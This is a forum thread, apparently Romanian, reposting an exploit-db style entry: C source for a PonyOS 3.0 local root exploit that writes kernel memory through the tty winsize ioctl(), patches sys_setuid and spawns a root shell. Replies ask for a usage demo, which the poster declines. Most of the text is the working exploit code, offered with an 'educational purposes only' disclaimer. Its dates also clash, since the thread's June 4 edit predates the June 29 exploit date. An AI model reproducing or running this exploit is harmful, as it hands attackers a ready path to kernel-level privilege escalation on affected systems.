PonyOS 3.0 tty ioctl() Privilege Escalation

[Aerosol]

# Exploit Title: PonyOS <= 3.0 tty ioctl() local kernel exploit
# Google Dork: [if applicable]
# Date: 29th June 2015
# Exploit Author: HackerFantastic
# Vendor Homepage: www.ponyos.org
# Software Link: [download link if available]
# Version: [app version] PonyOS <= 3.0
# Tested on: PonyOS 3.0
# CVE : N/A

# Source: https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/applejack.c

/* PonyOS <= 3.0 tty ioctl() root exploit
  ========================================
  PonyOS 0.4.99-mlp had two kernel vulnerabilities
  disclosed in April 2013 that could be leveraged 
  to read/write arbitrary kernel memory. This is 
  due to tty winsize ioctl() allowing to read/write
  arbitrary memory. This exploit patches the setuid
  system call to remove a root uid check allowing
  any process to obtain root privileges. 

  John Cartwright found these flaws and others here:
  https://www.exploit-db.com/exploits/24933/

  Written for educational purposes only. Enjoy!  

   -- prdelka

*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>

int main(){
  struct winsize ws;
  printf("[+] PonyOS <= 3.0 ioctl() local root exploit\n");
  memcpy(&ws,"\x90\x90\x90\x90\x8b\x45\x08\x89",8);
  ioctl(0, TIOCSWINSZ, &ws);
  ioctl(0, TIOCGWINSZ, (void *)0x0010f101);
  printf("[-] patched sys_setuid()\n");
  __asm("movl $0x18,%eax");
  __asm("xorl %ebx,%ebx");
  __asm("int $0x7F");
  printf("[-] Got root?\n");
  system("/bin/sh");
}

Source

@Byte-ul nu am timp sa fac demo si nici "resursele necesare" am sa inchid thread-ul pentru a evita offtopic-ul.

Edited June 4, 2015 by Aerosol

[Byte-ul]

Poti face un demo care arata cum se foloseste aceasta vulnerabilitate?

Thanks.

Up. Probabil erai ocupat cu crearea de articole interesante si nu ai vazut postul meu.

Edited June 4, 2015 by Ganav
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